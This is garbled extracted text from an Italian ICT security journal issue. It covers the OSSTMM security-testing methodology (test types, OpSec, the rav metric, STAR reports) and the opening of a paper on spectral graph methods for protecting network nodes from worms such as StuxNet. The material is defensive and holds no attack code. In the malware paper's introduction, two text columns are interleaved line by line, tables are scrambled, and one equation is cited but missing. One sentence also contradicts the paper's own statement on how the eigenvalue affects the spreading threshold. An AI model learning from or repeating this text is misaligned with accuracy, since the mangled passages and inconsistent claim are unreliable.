applicabili al contesto oggetto di analisi.
• La reportistica non è fruibile e facilmente confrontabile.
Al fine di ovviare alle problematiche descritte,
l’associazione no-profit ISECOM ha realizzato
l’Open Source Security Testing Methodology Manual
(OSSTMM), che nel corso degli anni è divenuto lo
standard internazionale di riferimento per l’esecuzione di verifiche di sicurezza. OSSTMM (scaricabile
gratuitamente dal sito ufficiale www.osstmm.org) è
una metodologia scientifica sviluppata da numerosi
volontari in tutto il mondo tramite il modello peer
review. Essa ha introdotto numerosi concetti innovativi nella disciplina della sicurezza proattiva, quali:
regole di ingaggio precise, OpSec (Porosity, Controls,
Limitations), metrica rav per misurare la superficie di
attacco, reportistica certificata STAR.
La versione 3.0 della metodologia, pubblicata nel
dicembre 2010, è frutto di ben 10 anni di lavoro ed è
pertanto considerata molto matura. Tanto che persi-
44
no l’International Standard Organization ha recentemente manifestato interesse a creare uno standard
ISO basato su OSSTMM, dando inizio al processo
formale di studio che costituisce il primo passo del
percorso di normazione.
ISECOM
ISECOM (Institute for Security and Open
Methodologies) è un’organizzazione internazionale di
ricerca senza scopo di lucro fondata nel 2001 da Pete
Herzog, al fine di sviluppare e condividere metodologie
aperte nel campo della sicurezza delle informazioni.
Oltre ad OSSTMM, ISECOM promuove numerosi altri
progetti, quali: SCARE (Source Code Analysis Risk
Evaluation), HHS (Hacker HighSchool), HPP (The
Hackers Profiling Project), BPP (The Bad People
Project). Ha inoltre curato la terza edizione del libro
Hacking Linux Exposed, pubblicato da McGraw-Hill
Osborne Media.
ISECOM è inoltre un’autorità di certificazione riconosciuta e sostenuta da partner istituzionali (Università
La Salle). In quanto tale offre certificazioni per professionisti ed aziende, tra cui le più note sono: OPST
(OSSTMM Professional Security Tester), OPSA
(OSSTMM Professional Security Analyst), OWSE
(OSSTMM Wireless Security Expert), ILA (ISECOM
Licensed Auditor).
Per ulteriori informazioni è possibile consultare il
sito ufficiale dell’organizzazione: www.isecom.org.
2. Regole di ingaggio, tipologie di test e definizione del perimetro
La metodologia OSSTMM definisce esattamente
quali elementi devono essere verificati, che cosa
occorre fare prima, durante e dopo i test di sicurezza
e come misurare i risultati ottenuti. Essa non indica
esplicitamente gli strumenti da impiegare durante le
verifiche, ma dettaglia i metodi da utilizzare per valutare sul campo in modo consistente e ripetibile la
superficie di attacco (attack surface) relativa al contesto
oggetto di analisi, tramite il calcolo del rav.
Tutte le fasi di verifica, dalla prevendita alla formulazione dell’offerta, dalla firma del contratto alla
definizione del perimetro di analisi, dall’esecuzione
dei test alla stesura della reportistica, sono soggette a
specifiche regole di ingaggio (rules of engagement), chiaSpeciale Sicurezza ICT
ramente definite all’interno della metodologia e sottoscritte da tutti gli analisti certificati presso ISECOM.
OSSTMM prevede differenti tipologie di test, che
si differenziano tra di loro per il grado di conoscenza del target da parte degli analisti e per il grado di
conoscenza dei dettagli della verifica di sicurezza da
parte del target stesso.
Tipologie di test
tura, OSSTMM comprende 3 classi di ambienti che
possono essere analizzati. Tali classi sono a loro volta
suddivise in 5 canali (channels), come riportato all’interno della seguente tabella:
Classe
Physical
Security
(PHYSSEC)
Spectrum
Security
(SPECSEC)
Communications
Security
(COMSEC)
1. Blind. Gli analisti simulano le azioni di un agente di
minaccia all’oscuro dei dettagli implementativi del
contesto oggetto di analisi. Il target è a conoscenza
di tutti i dettagli della verifica.
2. Double Blind. Gli analisti simulano le azioni di un
agente di minaccia all’oscuro dei dettagli implementativi del contesto oggetto di analisi. Il target non è
informato sul perimetro di test.
3. Gray Box. Gli analisti simulano le azioni di un agente di minaccia in possesso di informazioni limitate
sulle componenti e sulle difese presenti nel contesto
oggetto di analisi. Il target è a conoscenza di tutti i
dettagli della verifica.
4. Double Gray Box. Gli analisti simulano le azioni di
un agente di minaccia in possesso di informazioni
limitate sulle componenti e sulle difese presenti nel
contesto oggetto di analisi. Il target è a conoscenza
del perimetro di test, ma non di tutti i dettagli della
verifica.
5. Tandem. Gli analisti ed il target sono entrambi in
possesso di informazioni di dettaglio relative al contesto oggetto di analisi ed alla verifica di sicurezza.
6. Reversal. Gli analisti sono in possesso di informazioni di dettaglio relative al contesto oggetto di analisi. Il target non è informato sul perimetro di test.
Contestualmente alla definizione della tipologia
di test desiderata, è necessario stabilire il perimetro
della verifica. Al fine di garantire la massima coperSpeciale Sicurezza ICT
Canale
Human
Physical
Wireless
Telecommunications
Data
Networks
Descrizione
Comprende il fattore
umano della sicurezza
(persone e loro interazioni)
Comprende l’elemento
tangibile dalla sicurezza
(edifici, porte, etc.)
Comprende le emissioni
nello spettro elettromagnetico
Comprende le reti telefoniche digitali o analogiche
Comprende i sistemi
elettronici e le reti di
trasmissione dati cablate
3. Verifica della sicurezza operativa
La metodologia OSSTMM fa ampio riferimento
al concetto di sicurezza operativa (operational security o
OpSec), che viene definito come la “combinazione di
separazione e controlli”.
Nel dettaglio, per essere efficace una minaccia
deve essere in grado di interagire direttamente o indirettamente con il target. E’ possibile impedire questa
interazione separando la minaccia dal target, in uno
dei seguenti modi:
• Spostando il target in modo da creare una barriera fisica o logica che lo protegga dalla
minaccia.
• Rendendo inoffensiva la minaccia.
• Eliminando la minaccia.
Se si vogliono offrire servizi interattivi, tuttavia,
non è possibile realizzare una separazione completa
tra minacce e target, ma è necessario mantenere un
certo livello di esposizione, che OSSTMM definisce
con il termine Porosity.
La Porosity è calcolata sulla base dei seguenti elementi, che concorrono ad abbassare il livello di sicurezza complessivo:
45
Marco Ivaldi
Elemento
Visibility
Access
Trust
Descrizione
Opportunità di attacco, ovvero target
visibili all’interno del contesto oggetto di
analisi (sistemi, componenti applicative,
edifici, persone, etc.).
Punti tramite i quali è possibile stabilire
un’interazione all’interno del contesto
oggetto di analisi (servizi di rete, funzionalità applicative, accessi fisici raggiungibili, etc.).
Relazioni di fiducia presenti tra target
facenti parte del contesto oggetto di analisi (interazioni non autenticate tra differenti target).
Al fine di mitigare l’impatto delle minacce residue
che sono in grado di interagire con il target, bisogna
ricorrere ad opportune contromisure (Controls), che
forniscono protezione da varie tipologie di interazioni non valide o inaspettate. Tali contromisure, che
innalzano il livello di sicurezza complessivo, sono
suddivise in controlli interattivi (che influenzano
direttamente le interazioni in termini di Porosity) e di
processo (che proteggono i target dalle minacce presenti):
Controllo
Authentication
Indemnificatio
n
Resilience
Subjugation
Continuity
NonRepudiation
46
Descrizione
Controllo interattivo di accesso
basato sulla richiesta di credenziali.
Include i processi di Identification e
Authorization.
Controllo interattivo realizzato tramite una forma di contratto tra il
proprietario del target e gli utenti
che vi interagiscono.
Controllo interattivo effettuato allo
scopo di mantenere la protezione
del target anche in caso di errore o
disservizio.
Controllo interattivo finalizzato ad
assicurare che le operazioni abbiano
luogo unicamente sulla base di processi definiti.
Controllo interattivo effettuato allo
scopo di mantenere l’operatività del
target anche in caso di errore o disservizio.
Controllo di processo che impedisce
agli utenti di negare il proprio ruolo
nell’ambito delle interazioni con il
target.
Confidentiality
Privacy
Integrity
Alarm
Controllo di processo che garantisce
la confidenzialità delle comunicazioni e delle informazioni in transito
sulla rete o memorizzate su supporto fisico.
Controllo di processo che garantisce
la confidenzialità dei metodi di
accesso, di visualizzazione o di
scambio dati disponibili per il target.
Controllo di processo che informa
gli utenti degli eventuali cambiamenti che interessano il target ed i processi con cui esso interagisce.
Controllo di processo che registra il
verificarsi di interazioni che coinvolgono il target ed eventualmente
invia opportune notifiche.
Le criticità di sicurezza (Limitations), infine, possono interessare sia i punti di interazione dati dalla
Porosity che gli stessi controlli, e concorrono ad
abbassare ulteriormente il livello di sicurezza complessivo del contesto oggetto di analisi. OSSTMM
adotta la seguente classificazione delle criticità:
Criticità
Vulnerability
Weakness
Concern
Exposure
Anomaly
Descrizione
Criticità che nega l’accesso agli utenti
autorizzati, consente l’accesso privilegiato ad utenti non autorizzati, o permette ad utenti non autorizzati di
occultare la propria presenza.
Criticità che interrompe, riduce o
annulla l’effetto di uno o più dei cinque controlli interattivi:
Authentication, Indemnification,
Resilience, Subjugation, Continuity.
Criticità che interrompe, riduce o
annulla l’effetto di uno o più dei cinque controlli di processo: NonRepudiation, Confidentiality, Privacy,
Integrity, Alarm.
Criticità o azione non giustificata che
provoca la visibilità diretta o indiretta
di target all’interno del contesto
oggetto di analisi, tramite il canale
preso in esame.
Elemento inaspettato, sconosciuto o
comunque non giustificabile nell’ambito delle normali operazioni che
hanno luogo all’interno del contesto
oggetto di analisi.
Tramite gli elementi descritti viene calcolata la
superficie di attacco, che è definita come la “quantità di interazioni non controllate con il target” riscontrata a seguito di una specifica verifica di sicurezza.
Secondo la metodologia OSSTMM è possibile raggiungere lo stato di Perfect Security, ovvero l’esatto
bilanciamento di separazione e controlli con l’esposizione e le criticità.
Four point process
La metodologia OSSTMM definisce un processo di
verifica della sicurezza operativa che consente di fornire
le risposte alle seguenti domande fondamentali:
1. Come funzionano le operazioni?
2. In che cosa differiscono da come chi le gestisce
pensa che funzionino?
3. Come dovrebbero funzionare?
Poiché il contesto oggetto di verifica è per definizione dinamico e non risponde sempre con lo stesso output al medesimo input, per derivare i dati necessari a
popolare il modello di OpSec definito dalla metodologia
OSSTMM è necessario applicare un processo più articolato del semplice “inviare uno stimolo, registrare e
analizzare la risposta”. Tale processo prende il nome di
Four Point Process (4PP).
1. Induzione (Z). Derivare informazioni sul target
osservando l’ambiente in cui esso risiede.
2. Indagine (C). Investigare le emanazioni del target,
elettromagnetiche o di altra natura.
3. Interazione (A/B). Interagire in modo standard e
non al fine di stimolare delle risposte.
4. Intervento (X/Y/Z). Modificare le interazioni tra il
target e l’ambiente circostante.
4. Metrica di sicurezza e reportistica certificata STAR
La metodologia OSSTMM fornisce una metrica
accurata (rav) per valutare il livello di sicurezza operativa del contesto oggetto di analisi. Il rav misura la
superficie di attacco tramite il calcolo bilanciato di
Porosity, Controls e Limitations: l’esatto bilanciamento di questi valori è rappresentato da un valore
di rav pari a 100 (Perfect Security).
Il rav non rappresenta una misurazione di rischio:
non è in grado di prevedere se un particolare target
sarà attaccato da un agente di minaccia, tuttavia evidenzia i punti deboli e i punti di forza di ogni target,
e consente di misurare in modo efficace l’impatto
reale di un possibile attacco. Grazie a queste informazioni, facilmente confrontabili nel tempo e ricalcolabili in base all’attuazione di differenti interventi
correttivi, è possibile valutare i rischi con maggiore
accuratezza.
Analogamente, il rav non è un indicatore di conformità. In generale, il concetto di conformità è
molto diverso ed indipendente da quello di sicurezza: in altre parole, è possibile essere conformi e non
sicuri o essere relativamente sicuri ma non conformi.
L’utilizzo del rav e più in generale di OSSTMM, tuttavia, riveste un ruolo importante nell’ambito di
qualsiasi iniziativa di conformità, perché consente di
ottenere l’evidenza della governance della sicurezza
ICT.
Il rav è quindi uno strumento molto concreto che
permette di prendere decisioni supportate da numeri e non viziate da impressioni fallaci o pressioni
commerciali. In particolare, esso consente di ottenere le risposte alle seguenti domande:
• Quanto dobbiamo investire nella sicurezza?
• Su quali aspetti dobbiamo concentrarci in
modo prioritario?
• Di quali soluzioni di sicurezza abbiamo bisogno?
• Quanto migliora il livello di sicurezza a seguito dell’adozione di specifiche contromisure?
• Come possiamo misurare i risultati dei piani
correttivi?
• Come possiamo sapere se stiamo riducendo
l’esposizione alle minacce?
• Quanto è resistente un determinato componente?
• Come possiamo ottenere conformità e sicurezza?
47
Marco Ivaldi
OSSTMM riporta la formula per il calcolo del rav,
spiegandone in modo dettagliato i differenti passaggi. Per semplificare il lavoro degli analisti, inoltre,
ISECOM distribuisce gratuitamente tramite il proprio sito web dei fogli di calcolo preimpostati, in
entrambi i formati Excel e OpenDocument, insieme
al modello di report STAR (Security Test Audit
Report) che deve essere compilato al termine delle
attività.
Lo STAR rappresenta l’Executive Summary della
verifica e non sostituisce il Technical Report. Esso
include le seguenti informazioni:
• Data e ora della verifica.
• Durata della verifica.
• Nominativi degli analisti coinvolti.
• Tipologia di verifica.
• Perimetro di analisi.
• Canali e vettori di attacco analizzati.
• Metrica di sicurezza (rav).
• Checklist dei test effettuati e non.
• Eventuali anomalie riscontrate.
ne presso ISECOM. Un rav superiore a 90 dà diritto
ad un certificato di eccellenza della durata di un anno
solare dalla data di chiusura dei test.
Dopo essere stato sottoscritto dagli analisti
responsabili, lo STAR può opzionalmente essere sottoposto al processo di accreditamento e certificazio-
48
In conclusione, l’obiettivo finale di una verifica
conforme allo standard OSSTMM è fornire un processo per essere funzionalmente sicuri, garantendo:
• Esaustività e profondità dei test, con riduzione sostanziale dei falsi positivi e negativi.
• Conclusioni oggettivamente derivate dai risultati dei test stessi, tramite applicazione del
metodo scientifico.
• Rispetto di politiche, normative e leggi vigenti applicabili al contesto oggetto di analisi.
• Risultati consistenti e ripetibili.
• Risultati misurabili e quantificabili secondo
precise regole.
• Valutazione immediata dei possibili interventi
correttivi.
Infine, la reportistica STAR certificata, oltre ad
essere fruibile e facilmente confrontabile, costituisce
la prova di un test basato sui fatti e rende gli analisti
responsabili della verifica.
GLOSSARIO
Agente di minaccia (threat agent, attacker): persona o cosa che agisce al fine di realizzare una minaccia.
Canali (Channes): classificazione degli ambienti che possono essere oggetto di analisi. OSSTMM prevede i
seguenti canali: Human, Physical, Wireless, Telecommunications, Data Networks.
Falso negativo (false negative): il risultato di un test che appare negativo, non evidenziando la presenza di
una criticità esistente.
Falso positivo (false positive): il risultato di un test che rappresenta un falso allarme, evidenziando la presenza di una criticità non esistente.
Metrica di sicurezza rav: misura quantitativa della superficie di attacco del contesto oggetto di analisi.
Modello peer review: modello di sviluppo che si basa sulla valutazione esperta eseguita da specialisti del
settore per verificare la correttezza dei contenuti.
Sicurezza operativa (operational security, OpSec): combinazione di separazione e controlli. L’esatto bilanciamento dei valori di Porosity, Controls e Limitations rappresenta la Perfect Security.
STAR (Security Test Audit Report): reportistica Executive Summary conforme alla metodologia OSSTMM,
opzionalmente certificabile presso l’ente internazionale ISECOM.
Superficie di attacco (attack surface): mancanza di separazione e controlli per un determinato vettore, ovvero quantità di interazioni non controllate con il target.
Target: obiettivo di una verifica di sicurezza presente all’interno del perimetro di analisi definito, costituito
da una risorsa (asset) e dai suoi meccanismi di difesa.
Vettore di attacco (attack vector): direzione dell’interazione presa in esame nell’ambito di una verifica di
sicurezza.
49
Marco Ivaldi
Breve biografia di Marco Ivaldi
Marco Ivaldi è un ricercatore e consulente con esperienza decennale nel campo della sicurezza informatica.
Lavora con la qualifica di Senior Security Advisor presso @ Mediaservice.net (www.mediaservice.net), azienda leader del settore in Italia. Fa parte dell'ISECOM Core Team e partecipa attivamente allo sviluppo
dell'Open Source Security Testing Methodology Manual (OSSTMM), lo standard internazionale di riferimento per l'esecuzione di verifiche di sicurezza. La sua homepage è www.0xdeadbeef.info.
Marco Ivaldi is an experienced ICT security researcher and consultant. He is employed as Senior Security
Advisor at @ Mediaservice.net (www.mediaservice.net), a leading consulting firm based in Italy. He is an
ISECOM Core Team member, actively involved in the development of the Open Source Security Testing
Methodology Manual (OSSTMM), the international standard for performing security testing and metrics.
His homepage and playground is www.0xdeadbeef.info.
50
Vincenzo Fioriti, Andrea Arbore
Fondazione Ugo Bordoni
LA PROTEZIONE TOPOLOGICA DAL MALWARE DI PROSSIMA GENERAZIONE
(Topological proTecTion from The nexT generaTion malware)
Sommario
La diffusione di malware (mal-icious soft-ware) nelle reti
di dispositivi elettronici ha sollevato profonda preoccupazione,
poichè dalle reti ICT le infezioni potrebbero propagarsi ad
altre Infrastrutture Critiche, producendo il ben noto effetto
domino. Esistono due strategie di base per la diffusione del
malware di prossima generazione: l’intrusione mirata e la
ricerca cooperativa. La prima prevede l’approccio tradizionale
al bersaglio, la seconda richiede un controllo distribuito e uno
schema decisionale complesso con ricerca di una decisione consensuale. Come diretta conseguenza il malware si diffonderà
come un’epidemia vera e propria. Tuttavia, mentre un worm
convenzionale cerca di infettare il maggior numero possibile di
macchine il più rapidamente possibile, un malware avanzato
infetterà poche machine opportunamente selezionate in un
tempo relativamente lungo. Comunque in entrambi i casi l’infezione procede seguendo le stesse equazioni usate per studiare
la dinamica delle epidemie biologiche. Comprendere questo
modello significa avere la possibilità di contrastare la diffusione del malware nei suoi stadi iniziali, quando i costi sono
ancora limitati. I ricercatori stanno cercando quindi di sviluppare un’analisi di alto livello della propagazione del malware
tralasciando i dettagli software per generalizzare il più possibile le strategie defensive. Nell’ambito di questa linea di ricerca è stato suggerito che l’autovalore maggiore della matrice di
adiacenza della rete ICT colpita potrebbe agire come soglia per
la diffusione del malware. In questo articolo studiamo la diffusione di un worm informatico nell’Autonomous System
Internet Italiano verificando la presenza della soglia; quindi
mostriamo come scegliere in modo sub-ottimo i nodi piu importanti da proteggere usando il paradigma spettrale come criterio
guida. Allo scopo abbiamo progettato un algoritmo chiamato
AV11 che lavora molto meglio dei parametri topologici convenzionali quali grado, closeness, betweenness, k-core e lo
abbiamo applicato al caso di una rete ICT reale che è stata
infettata da StuxNet. Le simulazioni numeriche effettuate su
tale rete ICT mostrano che AV11 è in grado di fermare la
diffusione di StuxNet.
Speciale Sicurezza icT
A bstract
The spreading of dangerous malware (mal-icious software) in networks of electronics devices has raised deep concern, because from the ICT networks infections may propagate to other Critical Infrastructures producing the well-known
domino effect. There are basically two diffusion strategies: the
targeted intrusion and the cooperative search. The first foresees
a direct conventional approach to the actual target, while the
second one demands a distributed control system, a complex
communication scheme and a consensus-like decision making
process. As a side effect of the cooperative search, the malware will spread in the network like a disease (the “epidemic”
spreading). Actually, any kind of worm follows the epidemic
spreading, but a standard worm will attempt to invade the
maximum number of machines as quickly as possible, instead
a sophisticated malware adopting a cooperative search strategy
or even a simpler network aware strategy, will infect (relatively) few machines during a long period of time. In any case,
both seem to propagate following the epidemic spreading model,
at least during the initial phase of the attack. Understanding
this model may help in countering the spreading at the very
beginning of it, when the cost of the defence is more affordable. Researchers are attempting to develop a high level analysis
of malware propagation, discarding software details, in order
to generalize to the maximum extent the defensive strategies. It
has been suggested that the maximum eigenvalue of the adjacency matrix of the network could act as a threshold for the
malware’s spreading. In this paper we study the Italian
Internet Autonomous System simulating the diffusion of a
worm, verifying the theoretical threshold; then we show how to
choose in a sub-optimal way the set of most influential nodes
to protect with respect to the spectral paradigm. We present our
bio-inspired algorithm, that is fast and outperforms topological
measures as degree, closeness, betweenness, k-core, and we have
applied it to a real network infected by StuxNet. During the
numerical simulation on this real ICT network AV11 was
able to stop the spreading of StuxNet.
51
1. Introduzione
anche con grandissimi vantaggi. la rappresentazione
per mezzo di grafi (l’insieme di nodi e archi) delle
il termine malware (malicious software) è tristeicT affermatasi negli ultimi anni ne è un ottimo
mente noto, ormai da gran tempo, a chiunque abbia
esempio. il grafo è il termine matematico per indicaa che fare con computer e strumenti elettronici di
re una rete come quella di figura 1, che rappresenta
varia natura, tuttavia negli ultimissimi anni ha assununa ic reale. le reti o grafi possono però contare
to sfaccettature molto più preoccupanti. la normale
anche milioni di nodi/archi, il che costituisce un
evoluzione tecnologica di virus, worm, troyan, etc
notevole problema per gli algoritmi che ne scandaetc, operata dagli hacker è stata sconvolta da un’altegliano e misurano le caratteristiche. ciononostante i
razione, per cosi dire, genetica: come se si passasse da
grafi hanno assunto nella analisi dei dati una posizioneanderthal all’homo Sapiens nel volgere di un paio
ne rilevantissima a causa della capacità di sintetizzare
di generazioni. ciò è stato reso possibile dall’intere visualizzare una notevole quantità e qualità di inforvento di Stati-nazione che hanno dato lo “spin”
mazioni. gli archi del grafo definiscono relazioni
all’evoluzione software; adesso il vaso di pandora è
causali derivanti dalle interazioni fra gli oggetti conaperto e anche gli hacker potranno approfittarne. il
tenuti nei nodi, che sono di varia natura ma generalrischio è ora esteso a tutto il sistema industriale, poimente ricadono nelle sfera delle connessioni materiaché le reti icT sono talmente pervasive da non
li, logiche o informatiche. le azioni trasferite da un
lasciare letteralmente alcun settore al sicuro. come se
nodo ad un altro per il tramite dell’arco si sintetizzanon bastasse, le infrastrutture critiche (ic) si svilupno in genere con un semplice valore di probabilità,
pano in condizioni di grande inter-dipendenza ed
ma nulla impedisce, in via di principio, di essere preinfra-dipendenza, propagando ed amplificando gli
cisi introducendo delle vere e proprie funzioni di traeffetti dei malfunzionamenti in quello che si chiama
sferimento al costo di un aggravio computazionale.
l’effetto domino o cascata. esempi notevoli ne sono
come si vede, la forza di questa rappresentazione
i grandi blackout che periodicamente affliggono il
della realtà risiede nell’estrema sintesi e semplicità,
Sistema elettrico. le infrastrutture critiche, specialche però non elimina la complessità intrinseca. le
mente quelle informatiche e Telecom (iic), aumenapplicazioni sono parimenti svariate: chimica moletano continuamente di complessità e complicazione
colare, food web, finanza, epidemiologia, telecomue di conseguenza aumenta anche la necessità di elanicazioni, informatica e molte altre. nel caso delle
borare nuovi strumenti per agevolarne la comprentelecomunicazioni si possono avere grafi come quelsione e la rappresentazione. Questo processo comli di figura 1 o figura 5, in cui i nodi rappresentano
porta salire di un gradino nel livello di astrazione del
dispositivi fisici (mainframe, pc, router, switch, senproblema, naturalmente con le annesse difficoltà, ma
sori, etc) ed gli archi i collegamenti fisici (rame, fibra,
radio, etc) od anche semplicemente collegamenti logici. naturalmente non è sempre
possibile stabilire con certezza i collegamenti fra i nodi icT, come accade quando
l’informazione segue un instradamento
variabile a seconda della congestione di
linea, oppure quando i collegamenti (gli
archi) restano attivi solo per un certo periodo di tempo, come per le reti ad hoc. in
questi casi la trattazione differisce da quella che esporremo qui, pur restando valida
in via di principio.
cionondimeno, attualmente si cerca di
estendere le analisi anche ai grafi dinamici
in cui gli archi e/o le grandezze da essi trasferite variano al passare del tempo e questo per l’enorme importanza che ha assunFigura 1 – Un esempio di grafo rappresentante una rete tecnologica di piccole dimensioni.
to la telecomunicazione cellulare personale
52
la proTezione Topologica Dal malware Di proSSima generazione
(reti “ad hoc”). non bisogna pensare peraltro che
l’utilità dei grafi sia limitata al campo strettamente
tecnico. Schiere di matematici, fisici, ingegneri studiano con attenzione i cosiddetti social network
(faceBook, linkedin, mySpace, …), costruendo
relazioni di contatto fra gli utenti e cercando di trovare metodi per identificarli sfruttando il grafo e le
altre informazioni reperibili. Qui ci limitiamo a presentare alcuni interessanti risultati ottenuti su grafi di
reti tecnologiche icT attaccati da malware di recente
concezione, avvertendo però che la limitazione è
solo di comodo.
Una fondamentale caratteristica del malware
moderno [12] è la sua capacità di sfruttare le caratteristiche della topologiche rete ossia la particolare disposizione di nodi ed archi.
Secondo weaver [4]: «a worm is a program that
self-propagates across a network exploiting security
or policy flaws in widely-used services. we distinguish between worms and viruses in that the latter
infect otherwise non-mobile files and therefore
require some sort of user action to abet their propagation. as such, viruses tend to propagate more
slowly. They also have more mature defenses due to
the presence of a large anti-virus industry that actively seeks to identify and control their spread. we
note, however, that the line between worms and
viruses is not all that sharp […] target lists can be
used to create topological worms, where the worm
searches for local information to find new victims by
trying to discover the local communications.
Topological worms can potentially be very fast. if
the vulnerable machines are represented as vertices,
with edges representing information about other
machines, the time it takes for a worm to infect the
entire graph is a function of the shortest paths from
the initial point of infection. for applications that
are fairly highly connected, such worms can be incredibly fast».
Secondo f. freitas [1]: «Topological worms such
as those that propagate by following links in an overlay network, have the potential to spread faster than
traditional random scanning worms because they
have knowledge of a subset of the overlay nodes,
and choose these nodes to propagate themselves,
avoiding traditional detection mechanisms.
furthermore, this worm propagation strategy is
likely to become prevalent as the deployment of networks with a sparse address space, such as ipv6,
makes the traditional random scanning strategy futile».
risultano quindi evidenti la pericolosità del malware topologico e la debolezza delle contromisure
attuali.
Tuttavia, quello che sembra essere un punto di
forza può trasformarsi, come vedremo fra breve, in
un punto debole. proseguendo con l’analogia biologica, la diffusione di virus e worm è considerata alla
stregua di un’epidemia. gli individui malati possono
essere curati, vaccinati ed eventualmente possono
ammalarsi di nuovo. per tutte queste modalità i biologi hanno creato dei modelli matematici (Si, SiS,
Sir, etc.) che funzionanano bene anche nel caso
informatico. Qui però non interessa esaminare gli
antivirus nelle caratteristiche del codice: ipotizziamo
solo che in un tempo ragionevole si possa generare
ed applicare una contromisura software od altro
espediente tecnico in grado di eliminare almeno temporaneamente la minaccia. ci interessa invece l’aspetto legato ai costi, sia in termini monetari che di
risorse e personale specializzato da impiegare nella
protezione degli impianti. avere il mezzo tecnico
non basta evidentemente, bisogna che sia disponibile ove necessario e che siano disponibili gli operatori. riferito ai grafi ciò comporta un vincolo sul
numero di nodi da sottoporre a trattamento, in gergo
da “vaccinare” e “immunizzare”. il numero di nodi
su cui è possible effettuare la vaccinazione è detto
“budget”, con chiaro riferimento alla limitatezza
delle risorse. in sintesi:
• le risorse da opporre al malware sono e saranno sempre scarse,
• questo dal punto di vista della teoria dei grafi
applicata alla diffusione del malware significa
che solo un certo (piccolo) numero di nodi
potrà essere trattato,
• quindi è necessario scegliere tali nodi in modo
da minimizzare la diffusione ed i costi.
la scelta dei nodi che faranno parte del budget è
oggetto di attenti studi per le molteplici implicazioni
connesse e comporta notevoli difficolta sia matematiche che di calcolo. in questo articolo sarà illustrato
particolarmente l’algoritmo aV11 [2], che si basa
sulla teoria spettrale delle matrici di incidenza del
grafo in grado di fare una scelta sub-ottimale dei
nodi. per fissare le idee, considereremo due casi: un
sistema industriale controllato da dispositivi ScaDa
e computer e la struttura autonomous System
internet italiana (in effetti, l’esatta natura fisica del
sistema non è molto rilevante). prima però è necessario fornire un’introduzione teorica alla metodologia.
53
nel 2004 è stata la scoperta di una legge di soglia,
valida per qualsiasi tipo di grafo, che decide della diffusione o meno del malware [3]. in precedenza, insigni studiosi italiani avevano ottenuto risultati analoghi ma in un ambito ristretto. in pratica, quantomeno dal punto di vista matematico-modellistico, si è
visto che la diffusione di un virus in un grafo di contatto (ossia un grafo i cui archi sono relazioni dirette)
si arresta se il rapporto fra la probabilità di infezione
e la probabilità di cura è inferiore ad una certa soglia,
dipendente dalla topologia del grafo stesso, ossia
dalla caratterizzazione matematica della struttura di
nodi e archi. Tale caratterizzazione viene sintetizzata
in un unico parametro l’autovalore massimo della
matrice incidenza del grafo [3]. Quanto maggiore il
parametro, tanto più la soglia si abbassa ed il virus si
diffonde con maggior facilità. Successivamente
apparve chiaro che la diffusione epidemica poteva
teoricamente essere applicata anche alla diffusione di
guasti, malware, informazioni e anche alla sincronia
di apparati quali i micro generatori elettrici ed alla
finanza. il punto di vista da cui si considerava il grafo
come ente matematico astruso cambiò, ed oggi le
ricerche ricevono continuamente nuovi impulsi; è
nato infatti un nuovo campo di ricerca, quello delle
reti complesse (complex network science). Vediamo
intanto una breve trattazione matematica del modello epidemiologico di diffusione del malware in una
rete tecnologica.
2. Il modello epidemiologico e la teoria spettrale
il modello assume che ogni nodo (dispositivo
elettronico) abbia un contatto simile agli altri per cui
il tasso di infezione βij tra il nodo i ed il nodo j e
quello di cura δi siano costanti nel tempo ma diversi
arco per arco e nodo per nodo. ipotizziamo inoltre
che βij and δi siano estratti da una distribuzione uniforme. Dal grafo in esame si ottiene la matrice di
incidenza A (si tratta di una matrice simmetrica i cui
elementi i, j sono 1 se il nodo i è connesso al nodo j,
viceversa sono nulli), come in figura 2.
iniziamo con un richiamo del concetto di
autovalore di una matrice A:
Ax = λmax x
per cui:
54
Figura 2 – Un grafo a 4 nodi, 5 archi senza direzione, ratei di cura e
infezione e la matrice adiacenza. piccole dimensioni.
(A – λi I) x = 0,
i = 1 ... n,
da cui si ottiene lo spettro degli autovalori della matrice
adiacenza A:
λ1 ≤ λ2 ≤ ... ≤ λn
dove evidentemente l’ultimo è il più grande
(autovalore massimo λmax = λn).
ora presentiamo il modello vero e proprio di
peng [6] costruendo la matrice M dalla matrice A, i
cui elementi mij sono definiti come:
mij = βij
mij = 1 - δi
if i ≠ j,
if i = j,
0 ≤ βij ≤ 1
0 ≤ δi ≤ 1
il sistema di equazioni alle differenze che descrive l’evoluzione della diffusione è:
pi(t) = 1 – Πk (1 – mi,k • pk(t - 1)), i, k = 1 ... N (2.1)
dove si indica con pi(t) la probabilità che il nodo
i al tempo t sia infettato dal nodo k, con N numero
dei nodi. Si noti che i pi(t - 1) dovrebbero essere
mutuamente indipendenti, diversamente il valore
della soglia aumenta rispetto al livello teorico [6].
ora, essendo:
1 – Πk (1 – mi,k • pk(t - 1)) < Πk (mi,k • pk(t))
il sistema (2.1) converge a zero se il sistema
pi(t) = Πk (mi,k • pk(t - 1)), i, k = 1 ... N
(2.2)
P(t) = M • P(t - 1)
(2.3)
converge a zero. in notazione compatta (2.2) è:
il sistema (2.3) è stabile se l’autovalore massimo
di M è
λM < 1
e allora:
lim P(t) = 0 per t → ∞, e
pi(t) → 0, i = 1 ... n
quindi la diffusione sparisce. poichè M è non
negativa il suo autovalore massimo è reale, quindi la
soglia analitica sarà:
λthrM = 1
(2.4)
notare come secondo la trattazione semplificata
di wang [3] la (2.4) diviene:
β / δ = 1 / λmax
dove i valori di β ed i valori di δ sono uguali
per tutti gli archi ed i nodi, ed il rapporto fra i ratei e
l’autovalore compare in modo esplicito. per le considerazioni qualitative sull’azione della topologia sulla
propagazione useremo quindi la (2.5), dalla quale è
evidente che se λmax decresce la soglia si abbassa,
facilitando il progresso della diffusione del malware
nella rete.
il valore di soglia così calcolato, tuttavia, non è
esatto a causa delle ipotesi poco realistiche di indipendenza delle variabili, specie se la rete è di piccole
dimensioni. piuttosto è un limite inferiore del valore
vero. Si noti anche che la (2.4) o la (2.5) non dicono
nulla sul comportamento dello spreading sopra la
soglia, ci si limita ad affermare che sotto la soglia ci
sarà certamente l’arresto dello spreading. il significato operativo di (2.4), (2.5) è che la diffusione dipende dalla matrice adiacenza A, ossia dalla topologia
della rete. perciò, modificando la struttura della rete
aggiungendo o togliendo nodi/archi è possible agire
sulla soglia λmax e di conseguenza sulla diffusione. per
inciso, anche la resilienza (nonchè altri interessanti
parametri), intesa come capacità della rete di contiSpeciale Sicurezza icT
nuare nella propria funzione dopo aver subito un
danno si può stimare tramite l’autovalore λAmax. ma
